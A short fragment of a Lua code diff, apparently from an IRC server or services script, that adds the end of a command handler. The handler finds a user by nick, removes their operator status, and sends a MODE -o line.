+		else
+			for id, tbl in pairs(userlist) do
+				if tbl.nick == args[1] then
+					userlist[id].opertype = nil
+					con:send(":1HC000000 MODE "..id.." -o\n")
+					print(args[1].." is no longer an oper.")
+					return
+				end   
+			end
+			print("Nick not found.")
+		end
+	end,
+}